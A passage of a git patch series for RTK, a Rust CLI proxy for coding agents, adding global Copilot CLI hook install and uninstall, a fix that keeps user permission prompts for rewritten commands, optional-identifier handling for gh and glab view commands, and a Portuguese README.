Result { + if let Ok(custom) = std::env::var(COPILOT_HOME_ENV) { + return Ok(PathBuf::from(custom)); + } + let home = dirs::home_dir().context("could not determine home directory")?; + Ok(home.join(COPILOT_USER_DIR)) +} + +pub fn run_copilot_global(ctx: InitContext) -> Result<()> { + let copilot_dir = copilot_user_dir()?; + run_copilot_global_at(&copilot_dir, ctx) +} + +fn run_copilot_global_at(copilot_dir: &Path, ctx: InitContext) -> Result<()> { + let InitContext { dry_run, .. } = ctx; + let hooks_dir = copilot_dir.join(HOOKS_SUBDIR); + + if !dry_run { + fs::create_dir_all(&hooks_dir) + .with_context(|| format!("Failed to create {} directory", hooks_dir.display()))?; + } + + let hook_path = hooks_dir.join(COPILOT_HOOK_FILE); + write_if_changed( + &hook_path, + COPILOT_HOOK_JSON, + "Copilot global hook config", + ctx, + )?; + + if dry_run { + print_dry_run_footer(); + } else { + println!("\nGitHub Copilot global integration installed (user-scoped).\n"); + println!(" Hook config: {}", hook_path.display()); + println!("\n Applies to all Copilot CLI sessions on this machine."); + println!(" Restart your Copilot CLI session to activate.\n"); + } + + Ok(()) +} + +pub fn uninstall_copilot_global(ctx: InitContext) -> Result<()> { + let copilot_dir = copilot_user_dir()?; + let InitContext { dry_run, .. } = ctx; + let removed = uninstall_copilot_global_at(&copilot_dir, ctx)?; + + if removed.is_empty() { + println!("RTK global Copilot support was not installed (nothing to remove)"); + } else { + let header = if dry_run { + "[dry-run] would uninstall RTK (global GitHub Copilot):" + } else { + "RTK uninstalled (global GitHub Copilot):" + }; + println!("{}", header); + for item in &removed { + println!(" - {}", item); + } + if !dry_run { + println!("\nRestart your Copilot CLI session to apply changes."); + } + } + + if dry_run { + print_dry_run_footer(); + } + Ok(()) +} + +fn uninstall_copilot_global_at(copilot_dir: &Path, ctx: InitContext) -> Result> { + let InitContext { dry_run, .. } = ctx; + let hook_path = copilot_dir.join(HOOKS_SUBDIR).join(COPILOT_HOOK_FILE); + let mut removed = Vec::new(); + + if hook_path.exists() { + if dry_run { + println!( + "[dry-run] would remove hook config: {}", + hook_path.display() + ); + } else { + // nosemgrep: filesystem-deletion -- Copilot global uninstall removes only the RTK-managed hook config. + fs::remove_file(&hook_path) + .with_context(|| format!("Failed to remove hook: {}", hook_path.display()))?; + } + removed.push(format!("Hook config: {}", hook_path.display())); + } + + Ok(removed) +} + #[cfg(test)] mod tests { use super::*; @@ -6493,6 +6585,90 @@ mod tests { ); } + #[test] + fn test_copilot_global_install_writes_hook() { + let temp = TempDir::new().unwrap(); + run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + + let hook_path = temp.path().join("hooks").join("rtk-rewrite.json"); + assert!(hook_path.exists()); + let v: serde_json::Value = + serde_json::from_str(&fs::read_to_string(&hook_path).unwrap()).unwrap(); + assert_eq!(v["version"], 1); + assert_eq!(v["hooks"]["PreToolUse"][0]["command"], "rtk hook copilot"); + assert_eq!(v["hooks"]["preToolUse"][0]["bash"], "rtk hook copilot"); + } + + #[test] + fn test_copilot_global_install_does_not_write_instructions() { + let temp = TempDir::new().unwrap(); + run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + assert!( + !temp.path().join(COPILOT_INSTRUCTIONS_FILE).exists(), + "global install must not create a user-level instructions file (undocumented path)" + ); + } + + #[test] + fn test_copilot_global_uninstall_removes_hook() { + let temp = TempDir::new().unwrap(); + run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + let hook_path = temp.path().join("hooks").join("rtk-rewrite.json"); + assert!(hook_path.exists()); + + let removed = uninstall_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + assert!(!removed.is_empty()); + assert!(!hook_path.exists()); + } + + #[test] + fn test_copilot_global_uninstall_nothing_when_absent() { + let temp = TempDir::new().unwrap(); + let removed = uninstall_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + assert!(removed.is_empty()); + } + + #[test] + fn test_copilot_global_install_does_not_touch_other_hooks() { + let temp = TempDir::new().unwrap(); + let hooks_dir = temp.path().join("hooks"); + fs::create_dir_all(&hooks_dir).unwrap(); + let other = hooks_dir.join("notification-hooks.json"); + let payload = r#"{"version":1,"hooks":{"agentStop":[{"type":"command","bash":"true"}]}}"#; + fs::write(&other, payload).unwrap(); + + run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + + assert_eq!(fs::read_to_string(&other).unwrap(), payload); + } + + #[test] + fn test_copilot_global_uninstall_does_not_touch_other_hooks() { + let temp = TempDir::new().unwrap(); + run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + let hooks_dir = temp.path().join("hooks"); + let other = hooks_dir.join("notification-hooks.json"); + let payload = r#"{"version":1,"hooks":{"agentStop":[{"type":"command","bash":"true"}]}}"#; + fs::write(&other, payload).unwrap(); + + uninstall_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + + assert!(other.exists()); + assert_eq!(fs::read_to_string(&other).unwrap(), payload); + assert!(!hooks_dir.join("rtk-rewrite.json").exists()); + } + + #[test] + fn test_copilot_global_install_dry_run_writes_nothing() { + let temp = TempDir::new().unwrap(); + let ctx = InitContext { + verbose: 0, + dry_run: true, + }; + run_copilot_global_at(temp.path(), ctx).unwrap(); + assert!(!temp.path().join("hooks").join("rtk-rewrite.json").exists()); + } + #[test] fn test_copilot_init_refuses_malformed_block() { let temp = TempDir::new().unwrap(); diff --git a/src/main.rs b/src/main.rs index f1715186a5..be4e0a07be 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1822,7 +1822,11 @@ fn run_cli() -> Result { if show { hooks::init::show_config(codex)?; } else if uninstall && copilot { - hooks::init::uninstall_copilot(ctx)?; + if global { + hooks::init::uninstall_copilot_global(ctx)?; + } else { + hooks::init::uninstall_copilot(ctx)?; + } } else if uninstall { uninstall_init_dispatch( agent, @@ -1843,7 +1847,11 @@ fn run_cli() -> Result { }; hooks::init::run_gemini(global, hook_only, patch_mode, ctx)?; } else if copilot { - hooks::init::run_copilot(ctx)?; + if global { + hooks::init::run_copilot_global(ctx)?; + } else { + hooks::init::run_copilot(ctx)?; + } } else if agent == Some(AgentTarget::Pi) { hooks::init::run_pi_mode(global, ctx)? } else if agent == Some(AgentTarget::Kilocode) { From 69c10b65887527d5cf95e2c48f8c1b58a1fd3077 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 26 May 2026 20:41:03 +0200 Subject: [PATCH 164/204] fix(hook): default Copilot CLI rewrite to 'ask' to preserve permission prompts --- src/hooks/hook_cmd.rs | 31 +++++++++++++++++++++++++++---- 1 file changed, 27 insertions(+), 4 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index d5f5c3753f..0f54cf58f0 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -163,14 +163,22 @@ fn handle_copilot_cli(cmd: &str) -> Result<()> { } fn copilot_cli_response(cmd: &str) -> Option { - if permissions::check_command(cmd) == PermissionVerdict::Deny { + copilot_cli_response_for_verdict(cmd, permissions::check_command(cmd)) +} + +fn copilot_cli_response_for_verdict(cmd: &str, verdict: PermissionVerdict) -> Option { + if verdict == PermissionVerdict::Deny { audit_log("deny", cmd, ""); return None; } let rewritten = get_rewritten(cmd)?; audit_log("rewrite", cmd, &rewritten); + let decision = match verdict { + PermissionVerdict::Allow => "allow", + _ => "ask", + }; Some(json!({ - "permissionDecision": "allow", + "permissionDecision": decision, "permissionDecisionReason": "RTK auto-rewrite", "modifiedArgs": { "command": rewritten } })) @@ -621,12 +629,27 @@ mod tests { // --- Copilot CLI handler: transparent rewrite via modifiedArgs --- #[test] - fn test_copilot_cli_transparent_rewrite() { - let r = copilot_cli_response("cargo test").unwrap(); + fn test_copilot_cli_default_verdict_returns_ask_with_rewrite() { + let r = copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Default).unwrap(); + assert_eq!( + r["permissionDecision"], "ask", + "Default must be 'ask' so the user is still prompted for the rewritten command" + ); + assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); + } + + #[test] + fn test_copilot_cli_explicit_allow_returns_allow_with_rewrite() { + let r = copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Allow).unwrap(); assert_eq!(r["permissionDecision"], "allow"); assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); } + #[test] + fn test_copilot_cli_deny_verdict_returns_none() { + assert!(copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Deny).is_none()); + } + #[test] fn test_copilot_cli_passthrough_unsupported() { assert!(copilot_cli_response("htop").is_none()); From 6c5e440d83b30168c61e4c4b0c79847414a7c509 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 26 May 2026 20:50:06 +0200 Subject: [PATCH 165/204] fix(hook): preserve Copilot CLI toolArgs metadata when rewriting command --- src/hooks/hook_cmd.rs | 86 +++++++++++++++++++++++++++++++++++-------- 1 file changed, 71 insertions(+), 15 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 0f54cf58f0..72a449ff31 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -32,7 +32,9 @@ enum HookFormat { /// VS Code Copilot Chat / Claude Code: `tool_name` + `tool_input.command`, supports `updatedInput`. VsCode { command: String }, /// GitHub Copilot CLI: camelCase `toolName` + `toolArgs` (JSON string), supports `modifiedArgs` for transparent rewrite. - CopilotCli { command: String }, + /// Carries the full parsed `toolArgs` object so we can rewrite `command` while preserving + /// host-supplied metadata (description, initial_wait, mode, …) the tool requires. + CopilotCli { command: String, args: Value }, /// Non-bash tool, already uses rtk, or unknown format — pass through silently. PassThrough, } @@ -59,7 +61,7 @@ pub fn run_copilot() -> Result<()> { match detect_format(&v) { HookFormat::VsCode { command } => handle_vscode(&command), - HookFormat::CopilotCli { command } => handle_copilot_cli(&command), + HookFormat::CopilotCli { command, args } => handle_copilot_cli(&command, &args), HookFormat::PassThrough => Ok(()), } } @@ -93,6 +95,7 @@ fn detect_format(v: &Value) -> HookFormat { { return HookFormat::CopilotCli { command: cmd.to_string(), + args: tool_args, }; } } @@ -155,18 +158,22 @@ fn handle_vscode(cmd: &str) -> Result<()> { Ok(()) } -fn handle_copilot_cli(cmd: &str) -> Result<()> { - if let Some(response) = copilot_cli_response(cmd) { +fn handle_copilot_cli(cmd: &str, args: &Value) -> Result<()> { + if let Some(response) = copilot_cli_response(cmd, args) { let _ = writeln!(io::stdout(), "{response}"); } Ok(()) } -fn copilot_cli_response(cmd: &str) -> Option { - copilot_cli_response_for_verdict(cmd, permissions::check_command(cmd)) +fn copilot_cli_response(cmd: &str, args: &Value) -> Option { + copilot_cli_response_for_verdict(cmd, args, permissions::check_command(cmd)) } -fn copilot_cli_response_for_verdict(cmd: &str, verdict: PermissionVerdict) -> Option { +fn copilot_cli_response_for_verdict( + cmd: &str, + args: &Value, + verdict: PermissionVerdict, +) -> Option { if verdict == PermissionVerdict::Deny { audit_log("deny", cmd, ""); return None; @@ -177,10 +184,14 @@ fn copilot_cli_response_for_verdict(cmd: &str, verdict: PermissionVerdict) -> Op PermissionVerdict::Allow => "allow", _ => "ask", }; + let mut modified = args.clone(); + if let Some(obj) = modified.as_object_mut() { + obj.insert("command".into(), Value::String(rewritten)); + } Some(json!({ "permissionDecision": decision, "permissionDecisionReason": "RTK auto-rewrite", - "modifiedArgs": { "command": rewritten } + "modifiedArgs": modified })) } @@ -628,9 +639,18 @@ mod tests { // --- Copilot CLI handler: transparent rewrite via modifiedArgs --- + fn cli_args(cmd: &str) -> Value { + json!({ "command": cmd }) + } + #[test] fn test_copilot_cli_default_verdict_returns_ask_with_rewrite() { - let r = copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Default).unwrap(); + let r = copilot_cli_response_for_verdict( + "cargo test", + &cli_args("cargo test"), + PermissionVerdict::Default, + ) + .unwrap(); assert_eq!( r["permissionDecision"], "ask", "Default must be 'ask' so the user is still prompted for the rewritten command" @@ -640,40 +660,76 @@ mod tests { #[test] fn test_copilot_cli_explicit_allow_returns_allow_with_rewrite() { - let r = copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Allow).unwrap(); + let r = copilot_cli_response_for_verdict( + "cargo test", + &cli_args("cargo test"), + PermissionVerdict::Allow, + ) + .unwrap(); assert_eq!(r["permissionDecision"], "allow"); assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); } #[test] fn test_copilot_cli_deny_verdict_returns_none() { - assert!(copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Deny).is_none()); + assert!(copilot_cli_response_for_verdict( + "cargo test", + &cli_args("cargo test"), + PermissionVerdict::Deny + ) + .is_none()); } #[test] fn test_copilot_cli_passthrough_unsupported() { - assert!(copilot_cli_response("htop").is_none()); + assert!(copilot_cli_response("htop", &cli_args("htop")).is_none()); } #[test] fn test_copilot_cli_passthrough_already_rtk() { - assert!(copilot_cli_response("rtk cargo test").is_none()); + assert!(copilot_cli_response("rtk cargo test", &cli_args("rtk cargo test")).is_none()); } #[test] fn test_copilot_cli_passthrough_heredoc() { - assert!(copilot_cli_response("cat < Date: Tue, 26 May 2026 21:26:33 +0200 Subject: [PATCH 166/204] fix(hook): omit permissionDecision so Copilot prompts for the rewritten command --- src/hooks/hook_cmd.rs | 29 +++++++++++++++++------------ 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 72a449ff31..8870bf8d75 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -180,19 +180,24 @@ fn copilot_cli_response_for_verdict( } let rewritten = get_rewritten(cmd)?; audit_log("rewrite", cmd, &rewritten); - let decision = match verdict { - PermissionVerdict::Allow => "allow", - _ => "ask", - }; + let mut modified = args.clone(); if let Some(obj) = modified.as_object_mut() { obj.insert("command".into(), Value::String(rewritten)); } - Some(json!({ - "permissionDecision": decision, + + // Copilot CLI v1.0.54 only applies `modifiedArgs` when permissionDecision is + // either "allow" or absent. Omitting permissionDecision lets Copilot's normal + // permission flow run on the rewritten command — `rtk *` is not on its + // auto-allow list, so the user sees a prompt for the rewritten command. + let mut response = json!({ "permissionDecisionReason": "RTK auto-rewrite", - "modifiedArgs": modified - })) + "modifiedArgs": modified, + }); + if verdict == PermissionVerdict::Allow { + response["permissionDecision"] = json!("allow"); + } + Some(response) } // ── Gemini hook ─────────────────────────────────────────────── @@ -644,16 +649,16 @@ mod tests { } #[test] - fn test_copilot_cli_default_verdict_returns_ask_with_rewrite() { + fn test_copilot_cli_default_verdict_omits_permission_decision() { let r = copilot_cli_response_for_verdict( "cargo test", &cli_args("cargo test"), PermissionVerdict::Default, ) .unwrap(); - assert_eq!( - r["permissionDecision"], "ask", - "Default must be 'ask' so the user is still prompted for the rewritten command" + assert!( + r.get("permissionDecision").is_none(), + "Default must NOT set permissionDecision — Copilot then runs its normal prompt flow on the rewritten command" ); assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); } From e1bb17f85d387816621a6e77eca44f94458c4e81 Mon Sep 17 00:00:00 2001 From: Benoit Galati Date: Wed, 27 May 2026 17:47:32 +0200 Subject: [PATCH 167/204] fix(gh,glab): don't pre-reject view/checks/run subcommands missing the id gh and glab both accept several subcommands without an explicit id and resolve it from the current branch (gh pr view, gh pr checks, glab mr view) or open an interactive picker (gh run view). RTK was pre-rejecting with "X number required" before the underlying tool ever ran. Six call sites now treat the identifier as optional and forward the request unchanged, letting gh/glab decide: - gh pr view, gh pr checks, gh issue view, gh run view - glab mr view, glab issue view A new `parse_optional_identifier` helper in each file captures the "(Option, Vec)" parse so the no-id branch is unit-testable. format_run_view also drops the dangling `#` from its header when the run id is empty (interactive-picker passthrough). --- src/cmds/git/gh_cmd.rs | 161 +++++++++++++++++++++++++++++---------- src/cmds/git/glab_cmd.rs | 93 +++++++++++++++++----- 2 files changed, 193 insertions(+), 61 deletions(-) diff --git a/src/cmds/git/gh_cmd.rs b/src/cmds/git/gh_cmd.rs index c22c16b401..156b81e2a1 100644 --- a/src/cmds/git/gh_cmd.rs +++ b/src/cmds/git/gh_cmd.rs @@ -162,6 +162,16 @@ fn extract_identifier_and_extra_args(args: &[String]) -> Option<(String, Vec (Option, Vec) { + match extract_identifier_and_extra_args(args) { + Some((id, extra)) => (Some(id), extra), + None => (None, args.to_vec()), + } +} + fn run_gh_json(cmd: Command, label: &str, filter_fn: F) -> Result where F: Fn(&Value) -> String, @@ -319,27 +329,32 @@ fn pr_status_json_fields() -> &'static str { } fn view_pr(args: &[String], _verbose: u8, ultra_compact: bool) -> Result { - let (pr_number, extra_args) = match extract_identifier_and_extra_args(args) { - Some(result) => result, - None => return Err(anyhow::anyhow!("PR number required")), - }; + // `gh pr view` without an identifier defaults to the PR for the current branch. + let (pr_number_opt, extra_args) = parse_optional_identifier(args); if should_passthrough_pr_view(&extra_args) { - return run_passthrough_with_extra("gh", &["pr", "view", &pr_number], &extra_args); + let mut base: Vec<&str> = vec!["pr", "view"]; + if let Some(id) = pr_number_opt.as_deref() { + base.push(id); + } + return run_passthrough_with_extra("gh", &base, &extra_args); } let mut cmd = resolved_command("gh"); + cmd.args(["pr", "view"]); + if let Some(id) = pr_number_opt.as_deref() { + cmd.arg(id); + } cmd.args([ - "pr", - "view", - &pr_number, "--json", "number,title,state,author,body,url,mergeable,reviews,statusCheckRollup", ]); for arg in &extra_args { cmd.arg(arg); } - run_gh_json(cmd, &format!("pr view {}", pr_number), |json| { - format_pr_view(json, ultra_compact) - }) + let label = match pr_number_opt.as_deref() { + Some(id) => format!("pr view {}", id), + None => "pr view".to_string(), + }; + run_gh_json(cmd, &label, |json| format_pr_view(json, ultra_compact)) } fn format_pr_view(json: &Value, ultra_compact: bool) -> String { @@ -427,19 +442,24 @@ fn format_pr_view(json: &Value, ultra_compact: bool) -> String { } fn pr_checks(args: &[String], _verbose: u8, _ultra_compact: bool) -> Result { - let (pr_number, extra_args) = match extract_identifier_and_extra_args(args) { - Some(result) => result, - None => return Err(anyhow::anyhow!("PR number required")), - }; + // `gh pr checks` without an identifier defaults to the PR for the current branch. + let (pr_number_opt, extra_args) = parse_optional_identifier(args); let mut cmd = resolved_command("gh"); - cmd.args(["pr", "checks", &pr_number]); + cmd.args(["pr", "checks"]); + if let Some(id) = pr_number_opt.as_deref() { + cmd.arg(id); + } for arg in &extra_args { cmd.arg(arg); } + let label = match pr_number_opt.as_deref() { + Some(id) => format!("pr checks {}", id), + None => "pr checks".to_string(), + }; runner::run_filtered( cmd, "gh", - &format!("pr checks {}", pr_number), + &label, format_pr_checks, RunOptions::stdout_only() .early_exit_on_failure() @@ -623,27 +643,29 @@ fn format_issue_list(json: &Value, ultra_compact: bool) -> String { } fn view_issue(args: &[String], _verbose: u8) -> Result { - let (issue_number, extra_args) = match extract_identifier_and_extra_args(args) { - Some(result) => result, - None => return Err(anyhow::anyhow!("Issue number required")), - }; + // Let gh emit its own error message when the identifier is missing rather than pre-rejecting. + let (issue_number_opt, extra_args) = parse_optional_identifier(args); if should_passthrough_issue_view(&extra_args) { - return run_passthrough_with_extra("gh", &["issue", "view", &issue_number], &extra_args); + let mut base: Vec<&str> = vec!["issue", "view"]; + if let Some(id) = issue_number_opt.as_deref() { + base.push(id); + } + return run_passthrough_with_extra("gh", &base, &extra_args); } let mut cmd = resolved_command("gh"); - cmd.args([ - "issue", - "view", - &issue_number, - "--json", - "number,title,state,author,body,url", - ]); + cmd.args(["issue", "view"]); + if let Some(id) = issue_number_opt.as_deref() { + cmd.arg(id); + } + cmd.args(["--json", "number,title,state,author,body,url"]); for arg in &extra_args { cmd.arg(arg); } - run_gh_json(cmd, &format!("issue view {}", issue_number), |json| { - format_issue_view(json) - }) + let label = match issue_number_opt.as_deref() { + Some(id) => format!("issue view {}", id), + None => "issue view".to_string(), + }; + run_gh_json(cmd, &label, format_issue_view) } fn format_issue_view(json: &Value) -> String { @@ -753,23 +775,32 @@ fn should_passthrough_run_view(extra_args: &[String]) -> bool { } fn view_run(args: &[String], _verbose: u8) -> Result { - let (run_id, extra_args) = match extract_identifier_and_extra_args(args) { - Some(result) => result, - None => return Err(anyhow::anyhow!("Run ID required")), - }; + // `gh run view` without an identifier opens an interactive picker — defer to gh. + let (run_id_opt, extra_args) = parse_optional_identifier(args); if should_passthrough_run_view(&extra_args) { - return run_passthrough_with_extra("gh", &["run", "view", &run_id], &extra_args); + let mut base: Vec<&str> = vec!["run", "view"]; + if let Some(id) = run_id_opt.as_deref() { + base.push(id); + } + return run_passthrough_with_extra("gh", &base, &extra_args); } let mut cmd = resolved_command("gh"); - cmd.args(["run", "view", &run_id]); + cmd.args(["run", "view"]); + if let Some(id) = run_id_opt.as_deref() { + cmd.arg(id); + } for arg in &extra_args { cmd.arg(arg); } - let run_id_owned = run_id.clone(); + let label = match run_id_opt.as_deref() { + Some(id) => format!("run view {}", id), + None => "run view".to_string(), + }; + let run_id_owned = run_id_opt.unwrap_or_default(); runner::run_filtered( cmd, "gh", - &format!("run view {}", run_id), + &label, move |stdout| format_run_view(stdout, &run_id_owned), RunOptions::stdout_only() .early_exit_on_failure() @@ -781,7 +812,11 @@ fn format_run_view(stdout: &str, run_id: &str) -> String { let mut out = String::new(); let mut in_jobs = false; - out.push_str(&format!("Workflow Run #{}\n", run_id)); + if run_id.is_empty() { + out.push_str("Workflow Run\n"); + } else { + out.push_str(&format!("Workflow Run #{}\n", run_id)); + } for line in stdout.lines() { if line.contains("JOBS") { in_jobs = true; @@ -1077,6 +1112,35 @@ mod tests { assert!(extract_identifier_and_extra_args(&args).is_none()); } + // --- parse_optional_identifier tests --- + + #[test] + fn test_parse_optional_identifier_empty_yields_no_id() { + // `gh pr view` (no args) must surface as (None, []) so the caller + // hands the request to gh, which resolves the current branch's PR. + let (id, extra) = parse_optional_identifier(&[]); + assert!(id.is_none()); + assert!(extra.is_empty()); + } + + #[test] + fn test_parse_optional_identifier_only_flags_preserves_flags() { + // Regression: `gh pr view -R rtk-ai/rtk` previously triggered + // "PR number required". Now flags must round-trip into `extra`. + let args: Vec = vec!["-R".into(), "rtk-ai/rtk".into()]; + let (id, extra) = parse_optional_identifier(&args); + assert!(id.is_none()); + assert_eq!(extra, vec!["-R", "rtk-ai/rtk"]); + } + + #[test] + fn test_parse_optional_identifier_with_id_matches_extract() { + let args: Vec = vec!["-R".into(), "rtk-ai/rtk".into(), "42".into()]; + let (id, extra) = parse_optional_identifier(&args); + assert_eq!(id.as_deref(), Some("42")); + assert_eq!(extra, vec!["-R", "rtk-ai/rtk"]); + } + #[test] fn test_extract_identifier_with_web_flag() { let args: Vec = vec!["123".into(), "--web".into()]; @@ -1108,6 +1172,21 @@ mod tests { assert!(!should_passthrough_run_view(&[])); } + #[test] + fn test_format_run_view_with_id() { + let output = format_run_view("", "12345"); + assert!(output.starts_with("Workflow Run #12345\n")); + } + + #[test] + fn test_format_run_view_without_id() { + // `gh run view` with no arg opens an interactive picker — the captured run id + // is empty, so the header must not render an empty `#`. + let output = format_run_view("", ""); + assert!(output.starts_with("Workflow Run\n")); + assert!(!output.contains("#\n")); + } + #[test] fn test_run_view_no_passthrough_other_flags() { assert!(!should_passthrough_run_view(&["--web".into()])); diff --git a/src/cmds/git/glab_cmd.rs b/src/cmds/git/glab_cmd.rs index a0282a2210..56885f07cc 100644 --- a/src/cmds/git/glab_cmd.rs +++ b/src/cmds/git/glab_cmd.rs @@ -212,6 +212,16 @@ fn extract_identifier_and_extra_args(args: &[String]) -> Option<(String, Vec (Option, Vec) { + match extract_identifier_and_extra_args(args) { + Some((id, extra)) => (Some(id), extra), + None => (None, args.to_vec()), + } +} + /// Check if user explicitly requested JSON/custom output format. /// When present, passthrough to avoid double JSON injection. fn has_output_flag(args: &[String]) -> bool { @@ -409,24 +419,32 @@ fn format_mr_view(json: &Value, ultra_compact: bool) -> String { } fn mr_view(args: &[String], _verbose: u8, ultra_compact: bool) -> Result { - let (mr_number, extra_args) = match extract_identifier_and_extra_args(args) { - Some(pair) => pair, - None => return Err(anyhow::anyhow!("MR number required")), - }; + // `glab mr view` without an identifier defaults to the MR for the current branch. + let (mr_number_opt, extra_args) = parse_optional_identifier(args); // Passthrough for --web, --comments, or explicit output format if should_passthrough_view(&extra_args) { - return run_passthrough_with_extra("glab", &["mr", "view", &mr_number], &extra_args); + let mut base: Vec<&str> = vec!["mr", "view"]; + if let Some(id) = mr_number_opt.as_deref() { + base.push(id); + } + return run_passthrough_with_extra("glab", &base, &extra_args); } let mut cmd = resolved_command("glab"); - cmd.args(["mr", "view", &mr_number, "-F", "json"]); + cmd.args(["mr", "view"]); + if let Some(id) = mr_number_opt.as_deref() { + cmd.arg(id); + } + cmd.args(["-F", "json"]); for arg in &extra_args { cmd.arg(arg); } - run_glab_json(cmd, &format!("mr view {}", mr_number), |json| { - format_mr_view(json, ultra_compact) - }) + let label = match mr_number_opt.as_deref() { + Some(id) => format!("mr view {}", id), + None => "mr view".to_string(), + }; + run_glab_json(cmd, &label, |json| format_mr_view(json, ultra_compact)) } fn mr_create(args: &[String], _verbose: u8) -> Result { @@ -603,25 +621,31 @@ fn format_issue_view(json: &Value) -> String { } fn issue_view(args: &[String], _verbose: u8) -> Result { - let (issue_number, extra_args) = match extract_identifier_and_extra_args(args) { - Some(pair) => pair, - None => return Err(anyhow::anyhow!("Issue number required")), - }; + // Let glab emit its own error message when the identifier is missing rather than pre-rejecting. + let (issue_number_opt, extra_args) = parse_optional_identifier(args); if should_passthrough_view(&extra_args) { - return run_passthrough_with_extra("glab", &["issue", "view", &issue_number], &extra_args); + let mut base: Vec<&str> = vec!["issue", "view"]; + if let Some(id) = issue_number_opt.as_deref() { + base.push(id); + } + return run_passthrough_with_extra("glab", &base, &extra_args); } let mut cmd = resolved_command("glab"); - cmd.args(["issue", "view", &issue_number, "-F", "json"]); + cmd.args(["issue", "view"]); + if let Some(id) = issue_number_opt.as_deref() { + cmd.arg(id); + } + cmd.args(["-F", "json"]); for arg in &extra_args { cmd.arg(arg); } - run_glab_json( - cmd, - &format!("issue view {}", issue_number), - format_issue_view, - ) + let label = match issue_number_opt.as_deref() { + Some(id) => format!("issue view {}", id), + None => "issue view".to_string(), + }; + run_glab_json(cmd, &label, format_issue_view) } // ── CI/Pipeline subcommands ───────────────────────────────────────────── @@ -1235,6 +1259,35 @@ mod tests { assert!(extract_identifier_and_extra_args(&args).is_none()); } + // ── parse_optional_identifier tests ───────────────────────────────── + + #[test] + fn test_parse_optional_identifier_empty_yields_no_id() { + // `glab mr view` (no args) must surface as (None, []) so the caller + // hands the request to glab, which resolves the current branch's MR. + let (id, extra) = parse_optional_identifier(&[]); + assert!(id.is_none()); + assert!(extra.is_empty()); + } + + #[test] + fn test_parse_optional_identifier_only_flags_preserves_flags() { + // Regression: `glab mr view -R group/project` previously triggered + // "MR number required". Now flags must round-trip into `extra`. + let args: Vec = vec!["-R".into(), "group/project".into()]; + let (id, extra) = parse_optional_identifier(&args); + assert!(id.is_none()); + assert_eq!(extra, vec!["-R", "group/project"]); + } + + #[test] + fn test_parse_optional_identifier_with_id_matches_extract() { + let args: Vec = vec!["-R".into(), "group/project".into(), "42".into()]; + let (id, extra) = parse_optional_identifier(&args); + assert_eq!(id.as_deref(), Some("42")); + assert_eq!(extra, vec!["-R", "group/project"]); + } + // ── has_output_flag tests ─────────────────────────────────────────── #[test] From f2a2e01e7a7f95bc6090d25e028fad8164d47936 Mon Sep 17 00:00:00 2001 From: Lara Date: Wed, 27 May 2026 16:00:32 -0300 Subject: [PATCH 168/204] docs(readme): add Portuguese translation --- README.md | 3 +- README_pt.md | 166 +++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 168 insertions(+), 1 deletion(-) create mode 100644 README_pt.md diff --git a/README.md b/README.md index f8d65efe52..492589ef80 100644 --- a/README.md +++ b/README.md @@ -28,7 +28,8 @@ 中文 • 日本語 • 한국어 • - Espanol + Espanol • + Português

--- diff --git a/README_pt.md b/README_pt.md new file mode 100644 index 0000000000..767cd49dc0 --- /dev/null +++ b/README_pt.md @@ -0,0 +1,166 @@ +

+ RTK - Rust Token Killer +

+ +

+ Proxy CLI de alta performance que reduz o consumo de tokens LLM em 60-90% +

+ +

+ CI + Release + License: Apache 2.0 + Discord + Homebrew +

+ +

+ Site • + Instalar • + Solução de problemas • + Arquitetura • + Discord +

+ +

+ English • + Francais • + 中文 • + 日本語 • + 한국어 • + Espanol • + Português +

+ +--- + +rtk filtra e comprime saídas de comandos antes de chegarem ao contexto do seu LLM. Binário Rust único, zero dependências, overhead inferior a 10ms. + +## Economia de tokens (sessão de 30 min no Claude Code) + +| Operação | Frequência | Padrão | rtk | Economia | +|-----------|------------|----------|-----|--------| +| `ls` / `tree` | 10x | 2,000 | 400 | -80% | +| `cat` / `read` | 20x | 40,000 | 12,000 | -70% | +| `grep` / `rg` | 8x | 16,000 | 3,200 | -80% | +| `git status` | 10x | 3,000 | 600 | -80% | +| `cargo test` / `npm test` | 5x | 25,000 | 2,500 | -90% | +| **Total** | | **~118,000** | **~23,900** | **-80%** | + +## Instalacao + +### Homebrew (recomendado) + +```bash +brew install rtk +``` + +### Instalação rápida (Linux/macOS) + +```bash +curl -fsSL https://raw.githubusercontent.com/rtk-ai/rtk/refs/heads/master/install.sh | sh +``` + +### Cargo + +```bash +cargo install --git https://github.com/rtk-ai/rtk +``` + +### Verificação + +```bash +rtk --version # Deve exibir "rtk 0.28.2" +rtk gain # Deve exibir estatísticas de economia +``` + +## Inicio rapido + +```bash +# 1. Instalar hook para Claude Code (recomendado) +rtk init --global + +# 2. Reiniciar Claude Code, depois testar +git status # Reescrito automaticamente para rtk git status +``` + +## Como funciona + +``` + Sem rtk: Com rtk: + + Claude --git status--> shell --> git Claude --git status--> RTK --> git + ^ | ^ 